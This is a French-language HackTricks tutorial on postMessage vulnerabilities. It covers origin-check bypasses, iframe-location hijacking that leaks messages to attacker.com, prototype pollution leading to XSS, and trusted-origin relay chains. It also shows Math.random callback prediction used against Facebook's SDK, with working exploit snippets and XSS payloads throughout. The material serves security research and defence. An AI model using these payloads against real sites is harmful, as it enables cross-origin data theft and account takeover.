Vulnérabilités PostMessage

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Envoyer PostMessage

PostMessage utilise la fonction suivante pour envoyer un message :

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Notez que targetOrigin peut être ‘*’ ou une URL comme https://company.com.
Dans le deuxième scénario, le message ne peut être envoyé qu’à ce domaine (même si l’origine du Window object est différente).
Si le wildcard est utilisé, des messages pourraient être envoyés à n’importe quel domaine, et seront envoyés à l’origine du Window object.

Attaquer iframe & wildcard dans targetOrigin

Comme expliqué dans this report si vous trouvez une page qui peut être iframed (pas de protection X-Frame-Header) et qui envoie des messages sensibles via postMessage en utilisant un wildcard (*), vous pouvez modifier l’origin de l’iframe et leak le message sensible vers un domaine que vous contrôlez.
Notez que si la page peut être iframed mais que le targetOrigin est réglé sur une URL et non sur un wildcard, cette astuce ne fonctionnera pas.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

exploitation d’addEventListener

addEventListener est la fonction utilisée par JS pour déclarer la fonction qui attend des postMessages.
Un code similaire au suivant sera utilisé:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Notez dans ce cas comment la première chose que fait le code est de vérifier l’origine. C’est terriblement important, surtout si la page va faire quelque chose de sensible avec l’information reçue (comme changer un mot de passe). Si elle ne vérifie pas l’origine, des attaquants peuvent amener des victimes à envoyer des données arbitraires à ces endpoints et changer les mots de passe des victimes (dans cet exemple).

Énumération

Pour trouver les event listeners sur la page courante, vous pouvez :

  • Chercher dans le code JS window.addEventListener et $(window).on (JQuery version)
  • Exécuter dans la console des devtools : getEventListeners(window)

  • Aller dans Elements –> Event Listeners dans les devtools du navigateur

Contournements de la vérification d’origine

  • L’attribut event.isTrusted est considéré comme sûr car il renvoie True seulement pour les événements générés par de véritables actions utilisateur. Bien qu’il soit difficile à contourner s’il est implémenté correctement, son importance dans les vérifications de sécurité est notable.
  • L’utilisation de indexOf() pour la validation d’origine dans les événements postMessage peut être vulnérable au contournement. Un exemple illustrant cette vulnérabilité est :
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • La méthode search() de String.prototype.search() est destinée aux expressions régulières, pas aux chaînes. Passer autre chose qu’un regexp provoque une conversion implicite en regex, rendant la méthode potentiellement peu sûre. En regex, un point (.) agit comme un joker, permettant de contourner la validation avec des domaines spécialement conçus. Par exemple :
"https://www.safedomain.com".search("www.s.fedomain.com")
  • La fonction match(), similaire à search(), traite les regex. Si la regex est mal construite, elle peut être sujette à contournement.

  • La fonction escapeHtml est destinée à assainir les entrées en échappant les caractères. Cependant, elle ne crée pas un nouvel objet échappé mais écrase les propriétés de l’objet existant. Ce comportement peut être exploité. En particulier, si un objet peut être manipulé de sorte qu’une de ses propriétés contrôlées n’ait pas hasOwnProperty, escapeHtml ne fonctionnera pas comme prévu. Cela est démontré dans les exemples ci-dessous :

  • Échec attendu :

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Contournement de l’échappement :
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Dans le contexte de cette vulnérabilité, l’objet File est particulièrement exploitable en raison de sa propriété en lecture seule name. Cette propriété, lorsqu’elle est utilisée dans des templates, n’est pas assainie par la fonction escapeHtml, ce qui conduit à des risques de sécurité potentiels.

  • La propriété document.domain en JavaScript peut être définie par un script pour raccourcir le domaine, permettant un assouplissement de la same-origin policy au sein du même domaine parent.

Confiance basée uniquement sur l’origine + relais de confiance

Si un récepteur ne vérifie que event.origin (p.ex. fait confiance à n’importe quel *.trusted.com), on peut souvent trouver une page “relais” sur cette origine qui renvoie des paramètres contrôlés par l’attaquant via postMessage vers un targetOrigin/targetWindow fourni. Des exemples incluent des gadgets marketing/analytics qui prennent des query params et transmettent {msg_type, access_token, ...} à opener/parent. Vous pouvez :

  • Ouvrir la page victime dans un popup/iframe qui a un opener afin que ses handlers s’enregistrent (beaucoup de pixels/SDKs n’attachent des listeners que lorsque window.opener existe).
  • Naviguer une autre fenêtre attaquante vers l’endpoint relais sur l’origine de confiance, en remplissant les champs du message que vous voulez injecter (type de message, tokens, nonces).
  • Parce que le message provient désormais de l’origine de confiance, la validation basée uniquement sur l’origine passe et vous pouvez déclencher des comportements privilégiés (changements d’état, appels API, écritures DOM) dans le listener de la victime.

Schémas d’abus observés sur le terrain :

  • Les Analytics SDKs (p.ex. de type pixel/fbevents) consomment des messages comme FACEBOOK_IWL_BOOTSTRAP, puis appelent des APIs backend en utilisant un token fourni dans le message et incluent location.href / document.referrer dans le corps de la requête. Si vous fournissez votre propre token, vous pouvez lire ces requêtes dans l’historique/logs des requêtes du token et exfiltrer des codes/tokens OAuth présents dans l’URL/referrer de la page victime.
  • Tout relais qui reflète des champs arbitraires dans postMessage vous permet de usurper des types de message attendus par des listeners privilégiés. Combinez cela avec une validation d’entrée faible pour atteindre des appels Graph/REST, déverrouillages de fonctionnalités, ou des flux équivalents à CSRF.

Astuces de recherche : énumérez les listeners postMessage qui ne vérifient que event.origin, puis cherchez des endpoints HTML/JS de même origine qui renvoient des params d’URL via postMessage (previews marketing, popups de login, pages d’erreur OAuth). Assemblez les deux avec window.open() + postMessage pour contourner les vérifications d’origine.

contournement de e.origin == window.origin

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing SOP with Iframes - 1

Contournement de e.source

Il est possible de vérifier si le message provient de la même fenêtre dans laquelle le script écoute (particulièrement intéressant pour les Content Scripts from browser extensions afin de vérifier si le message a été envoyé depuis la même page) :

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Vous pouvez forcer e.source d’un message à null en créant un iframe qui envoie le postMessage et est supprimé immédiatement.

Pour plus d’informations lisez:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Pour réaliser ces attaques, idéalement vous pourrez placer la page web victime à l’intérieur d’un iframe. Mais certains en-têtes comme X-Frame-Header peuvent empêcher ce comportement.
Dans ces scénarios, vous pouvez quand même utiliser une attaque moins stealthy. Vous pouvez ouvrir un nouvel onglet vers l’application web vulnérable et communiquer avec elle:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Voler un message envoyé à un iframe enfant en bloquant la page principale

Dans la page suivante vous pouvez voir comment vous pourriez voler des données postmessage sensibles envoyées à un iframe enfant en bloquant la page principale avant l’envoi des données et en abusant d’une XSS dans l’iframe enfant pour leak the data avant qu’elles ne soient reçues:

Blocking main page to steal postmessage

Voler un message en modifiant la location de l’iframe

Si vous pouvez iframe une page web sans X-Frame-Header qui contient un autre iframe, vous pouvez changer la location de cet iframe enfant, donc s’il reçoit un postmessage envoyé en utilisant un wildcard, un attaquant pourrait changer l’origin de cet iframe vers une page contrôlée par lui et voler le message:

Steal postmessage modifying iframe location

postMessage vers Prototype Pollution et/ou XSS

Dans des scénarios où les données envoyées via postMessage sont exécutées par JS, vous pouvez iframe la page et exploiter la Prototype Pollution/XSS en envoyant l’exploit via postMessage.

Quelques très bons exemples d’XSS expliqués via postMessage se trouvent sur https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemple d’un exploit pour abuser de Prototype Pollution puis XSS via un postMessage vers un iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Pour plus d’informations :

Chargement de scripts dérivés de l’origine et pivot supply-chain (étude de cas CAPIG)

capig-events.js n’enregistrait un gestionnaire message que si window.opener existait. Lors de IWL_BOOTSTRAP il vérifiait pixel_id mais stockait event.origin et s’en servait ensuite pour construire ${host}/sdk/${pixel_id}/iwl.js.

Gestionnaire écrivant une origin contrôlée par l'attaquant ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Obtenir un opener : par ex., dans Facebook Android WebView réutiliser window.name avec window.open(target, name) afin que la fenêtre devienne son propre opener, puis appeler postMessage depuis un iframe malveillant.
  2. Envoyer IWL_BOOTSTRAP depuis n’importe quelle origine pour persister host = event.origin dans localStorage.
  3. Héberger /sdk/<pixel_id>/iwl.js sur n’importe quelle origine autorisée par le CSP (takeover/XSS/upload sur un domaine analytics sur liste blanche). startIWL() charge alors le JS de l’attaquant dans le site parent (par ex., www.meta.com), permettant des appels cross-origin authentifiés et la prise de contrôle de comptes.

Si le contrôle direct de l’opener était impossible, compromettre un iframe tiers présent sur la page permettait quand même d’envoyer le postMessage crafté au parent pour empoisonner l’hôte stocké et forcer le chargement du script.

Backend-generated shared script → stored XSS: le plugin AHPixelIWLParametersPlugin concaténait les paramètres de règles utilisateur dans du JS ajouté à capig-events.js (par ex., cbq.config.set(...)). L’injection de breakouts comme "]} permettait d’injecter du JS arbitraire, créant un stored XSS dans le script partagé servi à tous les sites qui le chargeaient.

Trusted-origin allowlist n’est pas une frontière

Une vérification stricte de event.origin ne fonctionne que si la trusted origin cannot run attacker JS. Quand des pages privilégiées incorporent des iframes tiers et supposent que event.origin === "https://partner.com" est sûr, tout XSS dans partner.com devient un pont vers le parent :

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Schéma d’attaque observé dans la nature:

  1. Exploiter XSS dans l’iframe partenaire et y déposer un relay gadget afin que tout postMessage se transforme en code exec à l’intérieur de l’origine de confiance :
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. Depuis la page de l’attaquant, envoyer du JS à l’iframe compromis qui retransmet un type de message autorisé au parent. Le message provient de partner.com, passe la allowlist, et contient du HTML qui est inséré de manière non sécurisée :
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Le parent injecte le HTML de l’attaquant, donnant exécution JS dans l’origine parente (par ex., facebook.com), ce qui peut ensuite être utilisé pour voler des codes OAuth ou pivoter vers des scénarios de prise de contrôle complète de compte.

Key takeaways:

  • L’origine partenaire n’est pas une frontière : toute XSS dans un partenaire « trusted » permet aux attaquants d’envoyer des messages autorisés qui contournent les vérifications event.origin.
  • Les handlers qui rendent des payloads contrôlés par le partenaire (par ex., innerHTML sur certains types de messages) transforment la compromission du partenaire en une XSS DOM same-origin.
  • Une large message surface (beaucoup de types, pas de validation de structure) offre plus de gadgets pour pivoter une fois qu’un iframe partenaire est compromis.

Prédire les tokens de callback Math.random() dans les postMessage bridges

Quand la validation des messages utilise un « shared secret » généré avec Math.random() (par ex., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) et que le même helper nomme aussi les plugin iframes, vous pouvez récupérer les sorties du PRNG et forger des messages de confiance :

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Force more outputs without reloads: Certains SDK exposent un chemin de reinit ; dans le FB SDK, déclencher init:post avec {xfbml:1} force XFBML.parse(), détruit/recrée l’iframe du plugin et génère de nouveaux noms/IDs de callback. Une réinitialisation répétée produit autant de sorties PRNG que nécessaire (notez des appels internes supplémentaires à Math.random() pour les IDs de callback/iframe, donc les solveurs doivent sauter les valeurs intermédiaires).
  • Trusted-origin delivery via parameter pollution: Si un endpoint de plugin first-party reflète un paramètre non assaini dans la payload cross-window (par ex., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), vous pouvez injecter &type=...&iconSVG=... tout en préservant l’origine trusted facebook.com.
  • Predict the next callback: Convert leaked iframe names back to floats in [0,1) and feed several values (even non-consecutive) into a V8 Math.random predictor (e.g., Z3-based). Generate the next guid() locally to forge the expected callback token.
  • Trigger the sink: Façonnez les données postMessage pour que le bridge déclenche xd.mpn.setupIconIframe et injecte du HTML dans iconSVG (par ex., URL-encoded <img src=x onerror=...>), obtenant une XSS DOM à l’intérieur de l’origine hôte ; à partir de là, les iframes same-origin (OAuth dialogs, arbiters, etc.) peuvent être lus.
  • Framing quirks help: La chaîne nécessite du framing. Dans certains webviews mobiles, X-Frame-Options peut se dégrader en ALLOW-FROM non supporté lorsque frame-ancestors est présent, et des paramètres de “compat” peuvent forcer des frame-ancestors permissifs, activant le window.name side channel.

Exemple minimal de message forgé

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks